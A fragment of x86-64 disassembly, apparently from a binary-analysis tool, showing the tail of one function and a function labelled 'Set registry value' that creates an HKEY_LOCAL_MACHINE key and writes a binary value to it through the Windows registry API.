mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140009320
add rsp, 0x50
pop rbx
ret

Function at 0x1400061c0
Capabilities:
Set registry value

Disassembly:
push rbx
sub rsp, 0x70
mov rax, qword [0x140031040]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov rbx, qword [rsp + 0xa0]
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x40], rcx
mov rdx, r8
lea rcx, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x38], rcx
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], ecx
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140006258
mov eax, dword [rsp + 0xa8]
lea rdx, [0x14002b8b8]
mov rcx, qword [rsp + 0x50]
mov r9d, 3
mov dword [rsp + 0x28], eax
xor r8d, r8d
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
test eax, eax
je 0x14000626d
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140009320
add rsp, 0x70
pop rbx
ret
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140009320
add rsp, 0x70
pop rbx
ret